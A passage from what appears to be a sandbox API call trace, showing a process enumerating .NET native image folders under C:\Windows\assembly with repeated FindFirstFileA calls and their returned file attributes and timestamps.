nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.274] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Workd8194f73#\\c975cbbd281309339e3d6e3e2b843b95\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32249130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1157c6a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1157c6a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.280] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Workfffcbcd8#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f724270, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1157c6a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1157c6a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.286] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Workfffcbcd8#\\f09c72c5b09db3c6856f1d3e726c9074\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f724270, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x115a2800, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x115a2800, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.292] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xaml\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20d1a000, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x115a2800, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x115a2800, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.298] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xaml\\677103f325cd79411dc9770816df4436\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabeb6d60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x115a2800, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x115a2800, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.304] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xaml.Hosting\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dd5d630, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x115c8960, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x115c8960, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.309] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xaml.Hosting\\50eaf51a4b22659ec30241dded2dbcb5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dd5d630, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x115c8960, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x115c8960, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.315] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac36280, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x115c8960, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x115c8960, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.320] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\427ed7b1258457fdb8be46e9dd87cbd2\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa36701e0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x115eeac0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x115eeac0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.326] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml.84e525b7#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x324845d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x115eeac0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x115eeac0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.332] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml.84e525b7#\\00bb8cd7b4067bf59b9a27fc51b3584c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x324845d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11614c20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11614c20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.337] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml.Linq\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11ff9fd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11614c20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11614c20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.342] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml.Linq\\ae637fec4b2707d2bdfa6a1476486b91\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11ff9fd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11614c20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11614c20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.348] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd111920, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x1163ad80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1163ad80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.353] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\6cc-0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd111920, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x1163ad80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1163ad80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.359] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\UIAutomatio4e153cb6#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32bf4a90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1163ad80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1163ad80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.365] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\UIAutomatio4e153cb6#\\38592b7ec2ffeef27551d0c25782aec6\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32bf4a90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11660ee0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11660ee0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.371] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\UIAutomationClient\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3270bd30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11660ee0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11660ee0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.376] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\UIAutomationClient\\a832c19c9acc57aa63b7f91f09f5a42c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3270bd30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11660ee0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11660ee0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.383] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\UIAutomationProvider\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bad5b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11687040, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11687040, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.388] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\UIAutomationProvider\\490d199ea6ecf5bb1b08f3db510301df\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bad5b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11687040, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11687040, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.397] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\UIAutomationTypes\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4998270, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x116ad1a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x116ad1a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.402] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\UIAutomationTypes\\fdec0f4b50870ed96b38f08f61a2793b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4998270, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x116ad1a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x116ad1a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.408] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\WindowsBase\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4f9b40, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x116ad1a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x116ad1a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.413] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\WindowsBase\\8838f0c467dc81d46646cee68cd67812\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x941b4c00, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x116d3300, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x116d3300, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.419] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\WindowsForm0b574481#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33045270, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x116d3300, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x116d3300, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.425] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\WindowsForm0b574481#\\5968c9c32b1f2b1aa5a66127425aa990\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33045270, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x116d3300, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x116d3300, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.430] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\WsatConfig\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc8b290, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0x116f9460, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x116f9460, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.435] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\WsatConfig\\4406e6261e7a1abc4a5273ac6d7160d1\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc8b290, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0x116f9460, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x116f9460, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.440] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\XamlBuildTask\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3338b0b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x116f9460, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x116f9460, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.771] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\XamlBuildTask\\a39352e760a35f5f4bb4bf016c474534\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3338b0b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11a3f2a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11a3f2a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.778] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\XsdBuildTask\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3352dfd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11a3f2a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11a3f2a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.785] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\XsdBuildTask\\ed527c6ce7dbb52de2d2fb8afb326712\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3352dfd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11a65400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11a65400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.815] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe955f360, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x11a8b560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11a8b560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549790 [0248.823] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Accessibility\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a79ff90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11ab16c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11ab16c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.828] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Accessibility\\8896bd90ee446760cb4e5646c4ac16e1\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a79ff90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11ab16c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11ab16c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.833] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\AspNetMMCExt\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b386d90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11ad7820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11ad7820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.838] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\AspNetMMCExt\\ec3ce5bd58a3de054a11ba260dd56574\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b386d90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11ad7820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11ad7820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.844] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\ComSvcConfig\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bbdba90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11ad7820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11ad7820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.851] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\ComSvcConfig\\0d4368112ebc32fed4136faafd2ee26b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bbdba90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11afd980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11afd980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.857] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\CustomMarshalers\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59217690, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11afd980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11afd980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 